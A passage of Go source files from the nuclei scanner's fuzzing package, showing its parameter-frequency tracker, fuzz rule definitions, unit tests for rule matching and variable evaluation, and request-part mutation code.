replace regex\")\n\t\t}\n\n\t\trule.replaceRegex = compiled\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/fuzz/execute_race_test.go",
    "content": "package fuzz\n\nimport (\n\t\"sync\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n)\n\nfunc TestEvaluateVarsWithInteractsh_RaceCondition(t *testing.T) {\n\trule := &Rule{}\n\trule.options = &protocols.ExecutorOptions{\n\t\tInteractsh: &interactsh.Client{},\n\t}\n\n\tsharedData := map[string]interface{}{\n\t\t\"var1\": \"value1\",\n\t\t\"var2\": \"{{var1}}_suffix\",\n\t\t\"var3\": \"prefix_{{var1}}\",\n\t}\n\n\tvar wg sync.WaitGroup\n\tfor i := 0; i < 10; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\trule.evaluateVarsWithInteractsh(sharedData, nil)\n\t\t}()\n\t}\n\twg.Wait()\n}\n"
  },
  {
    "path": "pkg/fuzz/frequency/tracker.go",
    "content": "package frequency\n\nimport (\n\t\"net\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\n\t\"github.com/bluele/gcache\"\n\t\"github.com/projectdiscovery/gologger\"\n)\n\n// Tracker implements a frequency tracker for a given input\n// which is used to determine uninteresting input parameters\n// which are not that interesting from fuzzing perspective for a template\n// and target combination.\n//\n// This is used to reduce the number of requests made during fuzzing\n// for parameters that are less likely to give results for a rule.\ntype Tracker struct {\n\tfrequencies              gcache.Cache\n\tparamOccurrenceThreshold int\n\n\tisDebug bool\n}\n\nconst (\n\tDefaultMaxTrackCount            = 10000\n\tDefaultParamOccurrenceThreshold = 10\n)\n\ntype cacheItem struct {\n\terrors atomic.Int32\n\tsync.Once\n}\n\n// New creates a new frequency tracker with a given maximum\n// number of params to track in LRU fashion with a max error threshold\nfunc New(maxTrackCount, paramOccurrenceThreshold int) *Tracker {\n\tgc := gcache.New(maxTrackCount).ARC().Build()\n\n\tvar isDebug bool\n\tif os.Getenv(\"FREQ_DEBUG\") != \"\" {\n\t\tisDebug = true\n\t}\n\treturn &Tracker{\n\t\tisDebug:                  isDebug,\n\t\tfrequencies:              gc,\n\t\tparamOccurrenceThreshold: paramOccurrenceThreshold,\n\t}\n}\n\nfunc (t *Tracker) Close() {\n\tt.frequencies.Purge()\n}\n\n// MarkParameter marks a parameter as frequently occurring once.\n//\n// The logic requires a parameter to be marked as frequently occurring\n// multiple times before it's considered as frequently occurring.\nfunc (t *Tracker) MarkParameter(parameter, target, template string) {\n\tnormalizedTarget := normalizeTarget(target)\n\tkey := getFrequencyKey(parameter, normalizedTarget, template)\n\n\tif t.isDebug {\n\t\tgologger.Verbose().Msgf(\"[%s] Marking %s as found uninteresting\", template, key)\n\t}\n\n\texistingCacheItem, err := t.frequencies.GetIFPresent(key)\n\tif err != nil || existingCacheItem == nil {\n\t\tnewItem := &cacheItem{errors: atomic.Int32{}}\n\t\tnewItem.errors.Store(1)\n\t\t_ = t.frequencies.Set(key, newItem)\n\t\treturn\n\t}\n\texistingCacheItemValue := existingCacheItem.(*cacheItem)\n\texistingCacheItemValue.errors.Add(1)\n\n\t_ = t.frequencies.Set(key, existingCacheItemValue)\n}\n\n// IsParameterFrequent checks if a parameter is frequently occurring\n// in the input with no much results.\nfunc (t *Tracker) IsParameterFrequent(parameter, target, template string) bool {\n\tnormalizedTarget := normalizeTarget(target)\n\tkey := getFrequencyKey(parameter, normalizedTarget, template)\n\n\tif t.isDebug {\n\t\tgologger.Verbose().Msgf(\"[%s] Checking if %s is frequently found uninteresting\", template, key)\n\t}\n\n\texistingCacheItem, err := t.frequencies.GetIFPresent(key)\n\tif err != nil {\n\t\treturn false\n\t}\n\texistingCacheItemValue := existingCacheItem.(*cacheItem)\n\n\tif existingCacheItemValue.errors.Load() >= int32(t.paramOccurrenceThreshold) {\n\t\texistingCacheItemValue.Do(func() {\n\t\t\tgologger.Verbose().Msgf(\"[%s] Skipped %s from parameter for %s as found uninteresting %d times\", template, parameter, target, existingCacheItemValue.errors.Load())\n\t\t})\n\t\treturn true\n\t}\n\treturn false\n}\n\n// UnmarkParameter unmarks a parameter as frequently occurring. This carries\n// more weight and resets the frequency counter for the parameter causing\n// it to be checked again. This is done when results are found.\nfunc (t *Tracker) UnmarkParameter(parameter, target, template string) {\n\tnormalizedTarget := normalizeTarget(target)\n\tkey := getFrequencyKey(parameter, normalizedTarget, template)\n\n\tif t.isDebug {\n\t\tgologger.Verbose().Msgf(\"[%s] Unmarking %s as frequently found uninteresting\", template, key)\n\t}\n\n\t_ = t.frequencies.Remove(key)\n}\n\nfunc getFrequencyKey(parameter, target, template string) string {\n\tvar sb strings.Builder\n\tsb.WriteString(target)\n\tsb.WriteString(\":\")\n\tsb.WriteString(template)\n\tsb.WriteString(\":\")\n\tsb.WriteString(parameter)\n\tstr := sb.String()\n\treturn str\n}\n\nfunc normalizeTarget(value string) string {\n\tfinalValue := value\n\tif strings.HasPrefix(value, \"http\") {\n\t\tif parsed, err := url.Parse(value); err == nil {\n\t\t\thostname := parsed.Host\n\t\t\tfinalPort := parsed.Port()\n\t\t\tif finalPort == \"\" {\n\t\t\t\tif parsed.Scheme == \"https\" {\n\t\t\t\t\tfinalPort = \"443\"\n\t\t\t\t} else {\n\t\t\t\t\tfinalPort = \"80\"\n\t\t\t\t}\n\t\t\t\thostname = net.JoinHostPort(parsed.Host, finalPort)\n\t\t\t}\n\t\t\tfinalValue = hostname\n\t\t}\n\t}\n\treturn finalValue\n}\n"
  },
  {
    "path": "pkg/fuzz/fuzz.go",
    "content": "package fuzz\n\nimport (\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n)\n\n// Rule is a single rule which describes how to fuzz the request\ntype Rule struct {\n\t// description: |\n\t//   Type is the type of fuzzing rule to perform.\n\t//\n\t//   replace replaces the values entirely. prefix prefixes the value. postfix postfixes the value\n\t//   and infix places between the values.\n\t// values:\n\t//   - \"replace\"\n\t//   - \"prefix\"\n\t//   - \"postfix\"\n\t//   - \"infix\"\n\tType     string `yaml:\"type,omitempty\" json:\"type,omitempty\" jsonschema:\"title=type of rule,description=Type of fuzzing rule to perform,enum=replace,enum=prefix,enum=postfix,enum=infix,enum=replace-regex\"`\n\truleType ruleType\n\t// description: |\n\t//   Part is the part of request to fuzz.\n\t// values:\n\t//   - \"query\"\n\t//   - \"header\"\n\t//   - \"path\"\n\t//   - \"body\"\n\t//   - \"cookie\"\n\t//   - \"request\"\n\tPart     string `yaml:\"part,omitempty\" json:\"part,omitempty\" jsonschema:\"title=part of rule,description=Part of request rule to fuzz,enum=query,enum=header,enum=path,enum=body,enum=cookie,enum=request\"`\n\tpartType partType\n\t// description: |\n\t//   Parts is the list of parts to fuzz. If multiple parts need to be\n\t//   defined while excluding some, this should be used instead of singular part.\n\t// values:\n\t//   - \"query\"\n\t//   - \"header\"\n\t//   - \"path\"\n\t//   - \"body\"\n\t//   - \"cookie\"\n\t//   - \"request\"\n\tParts []string `yaml:\"parts,omitempty\" json:\"parts,omitempty\" jsonschema:\"title=parts of rule,description=Part of request rule to fuzz,enum=query,enum=header,enum=path,enum=body,enum=cookie,enum=request\"`\n\n\t// description: |\n\t//   Mode is the mode of fuzzing to perform.\n\t//\n\t//   single fuzzes one value at a time. multiple fuzzes all values at same time.\n\t// values:\n\t//   - \"single\"\n\t//   - \"multiple\"\n\tMode     string `yaml:\"mode,omitempty\" json:\"mode,omitempty\" jsonschema:\"title=mode of rule,description=Mode of request rule to fuzz,enum=single,enum=multiple\"`\n\tmodeType modeType\n\n\t// description: |\n\t//   Keys is the optional list of key named parameters to fuzz.\n\t// examples:\n\t//   - name: Examples of keys\n\t//     value: >\n\t//       []string{\"url\", \"file\", \"host\"}\n\tKeys    []string `yaml:\"keys,omitempty\" json:\"keys,omitempty\" jsonschema:\"title=keys of parameters to fuzz,description=Keys of parameters to fuzz\"`\n\tkeysMap map[string]struct{}\n\t// description: |\n\t//   KeysRegex is the optional list of regex key parameters to fuzz.\n\t// examples:\n\t//   - name: Examples of key regex\n\t//     value: >\n\t//       []string{\"url.*\"}\n\tKeysRegex []string `yaml:\"keys-regex,omitempty\" json:\"keys-regex,omitempty\" jsonschema:\"title=keys regex to fuzz,description=Regex of parameter keys to fuzz\"`\n\tkeysRegex []*regexp.Regexp\n\t// description: |\n\t//   Values is the optional list of regex value parameters to fuzz.\n\t// examples:\n\t//   - name: Examples of value regex\n\t//     value: >\n\t//       []string{\"https?://.*\"}\n\tValuesRegex []string `yaml:\"values,omitempty\" json:\"values,omitempty\" jsonschema:\"title=values regex to fuzz,description=Regex of parameter values to fuzz\"`\n\tvaluesRegex []*regexp.Regexp\n\n\t// description: |\n\t//   Fuzz is the list of payloads to perform substitutions with.\n\t// examples:\n\t//   - name: Examples of fuzz\n\t//     value: >\n\t//       []string{\"{{ssrf}}\", \"{{interactsh-url}}\", \"example-value\"}\n\t//      or\n\t//       x-header: 1\n\t//       x-header: 2\n\tFuzz SliceOrMapSlice `yaml:\"fuzz,omitempty\" json:\"fuzz,omitempty\" jsonschema:\"title=payloads of fuzz rule,description=Payloads to perform fuzzing substitutions with\"`\n\t// description: |\n\t//  replace-regex is regex for regex-replace rule type\n\t//  it is only required for replace-regex rule type\n\t// examples:\n\t//   - type: replace-regex\n\t//     replace-regex: \"https?://.*\"\n\tReplaceRegex string         `yaml:\"replace-regex,omitempty\" json:\"replace-regex,omitempty\" jsonschema:\"title=replace regex of rule,description=Regex for regex-replace rule type\"`\n\treplaceRegex *regexp.Regexp `yaml:\"-\" json:\"-\"`\n\toptions      *protocols.ExecutorOptions\n\tgenerator    *generators.PayloadGenerator\n}\n\n// ruleType is the type of rule enum declaration\ntype ruleType int\n\nconst (\n\treplaceRuleType ruleType = iota + 1\n\tprefixRuleType\n\tpostfixRuleType\n\tinfixRuleType\n\treplaceRegexRuleType\n)\n\nvar stringToRuleType = map[string]ruleType{\n\t\"replace\":       replaceRuleType,\n\t\"prefix\":        prefixRuleType,\n\t\"postfix\":       postfixRuleType,\n\t\"infix\":         infixRuleType,\n\t\"replace-regex\": replaceRegexRuleType,\n}\n\n// partType is the part of rule enum declaration\ntype partType int\n\nconst (\n\tqueryPartType partType = iota + 1\n\theadersPartType\n\tpathPartType\n\tbodyPartType\n\tcookiePartType\n\trequestPartType\n)\n\nvar stringToPartType = map[string]partType{\n\t\"query\":   queryPartType,\n\t\"header\":  headersPartType,\n\t\"path\":    pathPartType,\n\t\"body\":    bodyPartType,\n\t\"cookie\":  cookiePartType,\n\t\"request\": requestPartType, // request means all request parts\n}\n\n// modeType is the mode of rule enum declaration\ntype modeType int\n\nconst (\n\tsingleModeType modeType = iota + 1\n\tmultipleModeType\n)\n\nvar stringToModeType = map[string]modeType{\n\t\"single\":   singleModeType,\n\t\"multiple\": multipleModeType,\n}\n\n// matchKeyOrValue matches key value parameters with rule parameters\nfunc (rule *Rule) matchKeyOrValue(key, value string) bool {\n\tif len(rule.keysMap) == 0 && len(rule.valuesRegex) == 0 && len(rule.keysRegex) == 0 {\n\t\treturn true\n\t}\n\tif value != \"\" {\n\t\tfor _, regex := range rule.valuesRegex {\n\t\t\tif regex.MatchString(value) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\tif (len(rule.keysMap) > 0 || len(rule.keysRegex) > 0) && key != \"\" {\n\t\tif _, ok := rule.keysMap[strings.ToLower(key)]; ok {\n\t\t\treturn true\n\t\t}\n\t\tfor _, regex := range rule.keysRegex {\n\t\t\tif regex.MatchString(key) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/fuzz/fuzz_test.go",
    "content": "package fuzz\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRuleMatchKeyOrValue(t *testing.T) {\n\trule := &Rule{\n\t\tPart: \"query\",\n\t}\n\terr := rule.Compile(nil, nil)\n\trequire.NoError(t, err, \"could not compile rule\")\n\n\tresult := rule.matchKeyOrValue(\"url\", \"\")\n\trequire.True(t, result, \"could not get correct result\")\n\n\tt.Run(\"key\", func(t *testing.T) {\n\t\trule := &Rule{Keys: []string{\"url\"}, Part: \"query\"}\n\t\terr := rule.Compile(nil, nil)\n\t\trequire.NoError(t, err, \"could not compile rule\")\n\n\t\tresult := rule.matchKeyOrValue(\"url\", \"\")\n\t\trequire.True(t, result, \"could not get correct result\")\n\t\tresult = rule.matchKeyOrValue(\"test\", \"\")\n\t\trequire.False(t, result, \"could not get correct result\")\n\t})\n\tt.Run(\"value\", func(t *testing.T) {\n\t\trule := &Rule{ValuesRegex: []string{`https?:\\/\\/?([-a-zA-Z0-9@:%._\\+~#=]{2,256}\\.[a-z]{2,6}\\b)*(\\/[\\/\\d\\w\\.-]*)*(?:[\\?])*(.+)*`}, Part: \"query\"}\n\t\terr := rule.Compile(nil, nil)\n\t\trequire.NoError(t, err, \"could not compile rule\")\n\n\t\tresult := rule.matchKeyOrValue(\"\", \"http://localhost:80\")\n\t\trequire.True(t, result, \"could not get correct result\")\n\t\tresult = rule.matchKeyOrValue(\"test\", \"random\")\n\t\trequire.False(t, result, \"could not get correct result\")\n\t})\n}\n\nfunc TestEvaluateVariables(t *testing.T) {\n\tt.Run(\"keys\", func(t *testing.T) {\n\t\trule := &Rule{\n\t\t\tKeys: []string{\"{{foo_var}}\"},\n\t\t\tPart: \"query\",\n\t\t}\n\n\t\t// mock\n\t\ttemplateVars := variables.Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\ttemplateVars.Set(\"foo_var\", \"foo_var_value\")\n\n\t\tconstants := map[string]interface{}{\n\t\t\t\"const_key\": \"const_value\",\n\t\t}\n\n\t\toptions := &types.Options{}\n\n\t\t// runtime vars (to simulate CLI)\n\t\truntimeVars := goflags.RuntimeMap{}\n\t\t_ = runtimeVars.Set(\"runtime_key=runtime_value\")\n\t\toptions.Vars = runtimeVars\n\n\t\texecutorOpts := &protocols.ExecutorOptions{\n\t\t\tVariables: templateVars,\n\t\t\tConstants: constants,\n\t\t\tOptions:   options,\n\t\t}\n\n\t\terr := rule.Compile(nil, executorOpts)\n\t\trequire.NoError(t, err, \"could not compile rule\")\n\n\t\tresult := rule.matchKeyOrValue(\"foo_var_value\", \"test_value\")\n\t\trequire.True(t, result, \"should match evaluated variable key\")\n\n\t\tresult = rule.matchKeyOrValue(\"{{foo_var}}\", \"test_value\")\n\t\trequire.False(t, result, \"should not match unevaluated variable key\")\n\t})\n\n\tt.Run(\"keys-regex\", func(t *testing.T) {\n\t\trule := &Rule{\n\t\t\tKeysRegex: []string{\"^{{foo_var}}\"},\n\t\t\tPart:      \"query\",\n\t\t}\n\n\t\ttemplateVars := variables.Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\ttemplateVars.Set(\"foo_var\", \"foo_var_value\")\n\n\t\texecutorOpts := &protocols.ExecutorOptions{\n\t\t\tVariables: templateVars,\n\t\t\tConstants: map[string]interface{}{},\n\t\t\tOptions:   &types.Options{},\n\t\t}\n\n\t\terr := rule.Compile(nil, executorOpts)\n\t\trequire.NoError(t, err, \"could not compile rule\")\n\n\t\tresult := rule.matchKeyOrValue(\"foo_var_value\", \"test_value\")\n\t\trequire.True(t, result, \"should match evaluated variable in regex\")\n\n\t\tresult = rule.matchKeyOrValue(\"other_key\", \"test_value\")\n\t\trequire.False(t, result, \"should not match non-matching key\")\n\t})\n\n\tt.Run(\"values-regex\", func(t *testing.T) {\n\t\trule := &Rule{\n\t\t\tValuesRegex: []string{\"{{foo_var}}\"},\n\t\t\tPart:        \"query\",\n\t\t}\n\n\t\ttemplateVars := variables.Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\ttemplateVars.Set(\"foo_var\", \"test_pattern\")\n\n\t\texecutorOpts := &protocols.ExecutorOptions{\n\t\t\tVariables: templateVars,\n\t\t\tConstants: map[string]interface{}{},\n\t\t\tOptions:   &types.Options{},\n\t\t}\n\n\t\terr := rule.Compile(nil, executorOpts)\n\t\trequire.NoError(t, err, \"could not compile rule\")\n\n\t\tresult := rule.matchKeyOrValue(\"test_key\", \"test_pattern\")\n\t\trequire.True(t, result, \"should match evaluated variable in values regex\")\n\n\t\tresult = rule.matchKeyOrValue(\"test_key\", \"other_value\")\n\t\trequire.False(t, result, \"should not match non-matching value\")\n\t})\n\n\t// complex vars w/ consts and runtime vars\n\tt.Run(\"complex-variables\", func(t *testing.T) {\n\t\trule := &Rule{\n\t\t\tKeys: []string{\"{{template_var}}\", \"{{const_key}}\", \"{{runtime_key}}\"},\n\t\t\tPart: \"query\",\n\t\t}\n\n\t\ttemplateVars := variables.Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\ttemplateVars.Set(\"template_var\", \"template_value\")\n\n\t\tconstants := map[string]interface{}{\n\t\t\t\"const_key\": \"const_value\",\n\t\t}\n\n\t\toptions := &types.Options{}\n\t\truntimeVars := goflags.RuntimeMap{}\n\t\t_ = runtimeVars.Set(\"runtime_key=runtime_value\")\n\t\toptions.Vars = runtimeVars\n\n\t\texecutorOpts := &protocols.ExecutorOptions{\n\t\t\tVariables: templateVars,\n\t\t\tConstants: constants,\n\t\t\tOptions:   options,\n\t\t}\n\n\t\terr := rule.Compile(nil, executorOpts)\n\t\trequire.NoError(t, err, \"could not compile rule\")\n\n\t\tresult := rule.matchKeyOrValue(\"template_value\", \"test\")\n\t\trequire.True(t, result, \"should match template variable\")\n\n\t\tresult = rule.matchKeyOrValue(\"const_value\", \"test\")\n\t\trequire.True(t, result, \"should match constant\")\n\n\t\tresult = rule.matchKeyOrValue(\"runtime_value\", \"test\")\n\t\trequire.True(t, result, \"should match runtime variable\")\n\n\t\tresult = rule.matchKeyOrValue(\"{{template_var}}\", \"test\")\n\t\trequire.False(t, result, \"should not match unevaluated template variable\")\n\t})\n\n\tt.Run(\"invalid-variables\", func(t *testing.T) {\n\t\trule := &Rule{\n\t\t\tKeys: []string{\"{{nonexistent_var}}\"},\n\t\t\tPart: \"query\",\n\t\t}\n\n\t\texecutorOpts := &protocols.ExecutorOptions{\n\t\t\tVariables: variables.Variable{\n\t\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(0),\n\t\t\t},\n\t\t\tConstants: map[string]interface{}{},\n\t\t\tOptions:   &types.Options{},\n\t\t}\n\n\t\terr := rule.Compile(nil, executorOpts)\n\t\tif err != nil {\n\t\t\trequire.Contains(t, err.Error(), \"unresolved\", \"error should mention unresolved variables\")\n\t\t} else {\n\t\t\tresult := rule.matchKeyOrValue(\"some_key\", \"some_value\")\n\t\t\trequire.False(t, result, \"should not match when variables are unresolved\")\n\t\t}\n\t})\n\n\tt.Run(\"evaluateVars-function\", func(t *testing.T) {\n\t\trule := &Rule{}\n\n\t\ttemplateVars := variables.Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\ttemplateVars.Set(\"test_var\", \"test_value\")\n\n\t\tconstants := map[string]interface{}{\n\t\t\t\"const_var\": \"const_value\",\n\t\t}\n\n\t\toptions := &types.Options{}\n\t\truntimeVars := goflags.RuntimeMap{}\n\t\t_ = runtimeVars.Set(\"runtime_var=runtime_value\")\n\t\toptions.Vars = runtimeVars\n\n\t\texecutorOpts := &protocols.ExecutorOptions{\n\t\t\tVariables: templateVars,\n\t\t\tConstants: constants,\n\t\t\tOptions:   options,\n\t\t}\n\n\t\trule.options = executorOpts\n\n\t\t// Test simple var substitution\n\t\tresult, err := rule.evaluateVars(\"{{test_var}}\")\n\t\trequire.NoError(t, err, \"should evaluate template variable\")\n\t\trequire.Equal(t, \"test_value\", result, \"should return evaluated value\")\n\n\t\t// Test constant substitution\n\t\tresult, err = rule.evaluateVars(\"{{const_var}}\")\n\t\trequire.NoError(t, err, \"should evaluate constant\")\n\t\trequire.Equal(t, \"const_value\", result, \"should return constant value\")\n\n\t\t// Test runtime var substitution\n\t\tresult, err = rule.evaluateVars(\"{{runtime_var}}\")\n\t\trequire.NoError(t, err, \"should evaluate runtime variable\")\n\t\trequire.Equal(t, \"runtime_value\", result, \"should return runtime value\")\n\n\t\t// Test mixed content\n\t\tresult, err = rule.evaluateVars(\"prefix-{{test_var}}-suffix\")\n\t\trequire.NoError(t, err, \"should evaluate mixed content\")\n\t\trequire.Equal(t, \"prefix-test_value-suffix\", result, \"should return mixed evaluated content\")\n\n\t\t// Test unresolved var - should either fail during evaluation or return original string\n\t\tresult2, err := rule.evaluateVars(\"{{nonexistent}}\")\n\t\tif err != nil {\n\t\t\trequire.Contains(t, err.Error(), \"unresolved\", \"should fail for unresolved variable\")\n\t\t} else {\n\t\t\t// If no error, it should return the original unresolved variable\n\t\t\trequire.Equal(t, \"{{nonexistent}}\", result2, \"should return original string for unresolved variable\")\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "pkg/fuzz/parts.go",
    "content": "package fuzz\n\nimport (\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\n// executePartRule executes part rules based on type\nfunc (rule *Rule) executePartRule(input *ExecuteRuleInput, payload ValueOrKeyValue, component component.Component) error {\n\treturn rule.executePartComponent(input, payload, component)\n}\n\n// checkRuleApplicableOnComponent checks if a rule is applicable on given component\nfunc (rule *Rule) checkRuleApplicableOnComponent(component component.Component) bool {\n\tif rule.Part != component.Name() && !sliceutil.Contains(rule.Parts, component.Name()) && rule.partType != requestPartType {\n\t\treturn false\n\t}\n\tfoundAny := false\n\t_ = component.Iterate(func(key string, value interface{}) error {\n\t\tif rule.matchKeyOrValue(key, types.ToString(value)) {\n\t\t\tfoundAny = true\n\t\t\treturn io.EOF\n\t\t}\n\t\treturn nil\n\t})\n\treturn foundAny\n}\n\n// executePartComponent executes this rule on a given component and payload\nfunc (rule *Rule) executePartComponent(input *ExecuteRuleInput, payload ValueOrKeyValue, ruleComponent component.Component) error {\n\t// Note: component needs to be cloned because they contain values copied by reference\n\tif payload.IsKV() {\n\t\t// for kv fuzzing\n\t\treturn rule.executePartComponentOnKV(input, payload, ruleComponent.Clone())\n\t} else {\n\t\t// for value only fuzzing\n\t\treturn rule.executePartComponentOnValues(input, payload.Value, payload.OriginalPayload, ruleComponent.Clone())\n\t}\n}\n\n// executePartComponentOnValues executes this rule on a given component and payload\n// this supports both single and multiple [ruleType] modes\n// i.e if component has multiple values, they can be replaced once or all depending on mode\nfunc (rule *Rule) executePartComponentOnValues(input *ExecuteRuleInput, payloadStr, originalPayload string, ruleComponent component.Component) error {\n\tfinalErr := ruleComponent.Iterate(func(key string, value interface{}) error {\n\t\tvalueStr := types.ToString(value)\n\t\tif !rule.matchKeyOrValue(key, valueStr) {\n\t\t\t// ignore non-matching keys\n\t\t\treturn nil\n\t\t}\n\n\t\tvar evaluated, originalEvaluated string\n\t\tevaluated, input.InteractURLs = rule.executeEvaluate(input, key, valueStr, payloadStr, input.InteractURLs)\n\t\tif input.ApplyPayloadInitialTransformation != nil {\n\t\t\tevaluated = input.ApplyPayloadInitialTransformation(evaluated, input.AnalyzerParams)\n\t\t\toriginalEvaluated, _ = rule.executeEvaluate(input, key, valueStr, originalPayload, input.InteractURLs)\n\t\t}\n\n\t\tif err := ruleComponent.SetValue(key, evaluated); err != nil {\n\t\t\t// gologger.Warning().Msgf(\"could not set value due to format restriction original(%s, %s[%T]) , new(%s,%s[%T])\", key, valueStr, value, key, evaluated, evaluated)\n\t\t\treturn nil\n\t\t}\n\n\t\tif rule.modeType == singleModeType {\n\t\t\treq, err := ruleComponent.Rebuild()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif qerr := rule.execWithInput(input, req, input.InteractURLs, ruleComponent, key, valueStr, originalEvaluated, valueStr, key, evaluated); qerr != nil {\n\t\t\t\treturn qerr\n\t\t\t}\n\t\t\t// fmt.Printf(\"executed with value: %s\\n\", evaluated)\n\t\t\terr = ruleComponent.SetValue(key, valueStr) // change back to previous value for temp\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif finalErr != nil {\n\t\treturn finalErr\n\t}\n\n\t// We do not support analyzers with\n\t// multiple payload mode.\n\tif rule.modeType == multipleModeType {\n\t\treq, err := ruleComponent.Rebuild()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif qerr := rule.execWithInput(input, req, input.InteractURLs, ruleComponent, \"\", \"\", \"\", \"\", \"\", \"\"); qerr != nil {\n\t\t\terr = qerr\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// executePartComponentOnKV executes this rule on a given component and payload\n// currently only supports single mode\nfunc (rule *Rule) executePartComponentOnKV(input *ExecuteRuleInput, payload ValueOrKeyValue, ruleComponent component.Component) error {\n\tvar origKey string\n\tvar origValue interface{}\n\t// when we have a key-value pair, iterate over only 1 value of the component\n\t// multiple values (aka multiple mode) not supported for this yet\n\t_ = ruleComponent.Iterate(func(key string, value interface{}) error {\n\t\tif key == payload.Key {\n\t\t\torigKey = key\n\t\t\torigValue = value\n\t\t}\n\t\treturn nil\n\t})\n\t// iterate over given kv instead of component ones\n\treturn func(key, value string) error {\n\t\tvar evaluated string\n\t\tevaluated, input.InteractURLs = rule.executeEvaluate(input, key, \"\", value, input.InteractURLs)\n\t\tif err := ruleComponent.SetValue(key, evaluated); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif rule.modeType == singleModeType {\n\t\t\treq, err := ruleComponent.Rebuild()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif qerr := rule.execWithInput(input, req, input.InteractURLs, ruleComponent, key, value, \"\", \"\", \"\", \"\"); qerr != nil {\n\t\t\t\treturn qerr\n\t\t\t}\n\n\t\t\t// after building change back to original value to avoid repeating it in further requests\n\t\t\tif origKey != \"\" {\n\t\t\t\terr = ruleComponent.SetValue(origKey, types.ToString(origValue)) // change back to previous value for temp\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t_ = ruleComponent.Delete(key) // change back to previous value for temp\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}(payload.Key, payload.Value)\n}\n\n// execWithInput executes a rule with input via callback\nfunc (rule *Rule) execWithInput(input *ExecuteRuleInput, httpReq *retryablehttp.Request, interactURLs []string, component component.Component, parameter, parameterValue, originalPayload, originalValue, key, value string) error {\n\t// If the parameter is a number, replace it with the parameter value\n\t// or if the parameter is empty and the parameter value is not empty\n\t// replace it with the parameter value\n\tactualParameter := parameter\n\tif _, err := strconv.Atoi(parameter); err == nil || (parameter == \"\" && parameterValue != \"\") {\n\t\tactualParameter = parameterValue\n\t}\n\t// If the parameter is frequent, skip it if the option is enabled\n\tif rule.options.FuzzParamsFrequency != nil {\n\t\tif rule.options.FuzzParamsFrequency.IsParameterFrequent(\n\t\t\tactualParameter,\n\t\t\thttpReq.String(),\n\t\t\trule.options.TemplateID,\n\t\t) {\n\t\t\treturn nil\n\t\t}\n\t}\n\trequest := GeneratedRequest{\n\t\tRequest:         httpReq,\n\t\tInteractURLs:    interactURLs,\n\t\tDynamicValues:   input.Values,\n\t\tComponent:       component,\n\t\tParameter:       actualParameter,\n\t\tKey:             key,\n\t\tValue:           value,\n\t\tOriginalValue:   originalValue,\n\t\tOriginalPayload: originalPayload,\n\t}\n\tif !input.Callback(request) {\n\t\treturn types.ErrNoMoreRequests\n\t}\n\treturn nil\n}\n\n// executeEvaluate executes evaluation of payload on a key and value and\n// returns completed values to be replaced and processed\n// for fuzzing.\nfunc (rule *Rule) executeEvaluate(input *ExecuteRuleInput, _, value, payload string, interactshURLs []string) (string, []string) {\n\t// TODO: Handle errors\n\tvalues := generators.MergeMaps(rule.options.Variables.GetAll(), map[string]interface{}{\n\t\t\"value\": value,\n\t}, rule.options.Options.Vars.AsMap(), input.Values)\n\tfirstpass, _ := expressions.Evaluate(payload, values)\n\tinteractData, interactshURLs := rule.options.Interactsh.Replace(firstpass, interactshURLs)\n\tevaluated, _ := expressions.Evaluate(interactData, values)\n\treplaced := rule.executeRuleTypes(input, value, evaluated)\n\treturn replaced, interactshURLs\n}\n\n// executeRuleTypes executes replacement for a key and value\n// ex: prefix, postfix, infix, replace , replace-regex\nfunc (rule *Rule) executeRuleTypes(_ *ExecuteRuleInput, value, replacement string) string {\n\tvar builder strings.Builder\n\tif rule.ruleType == 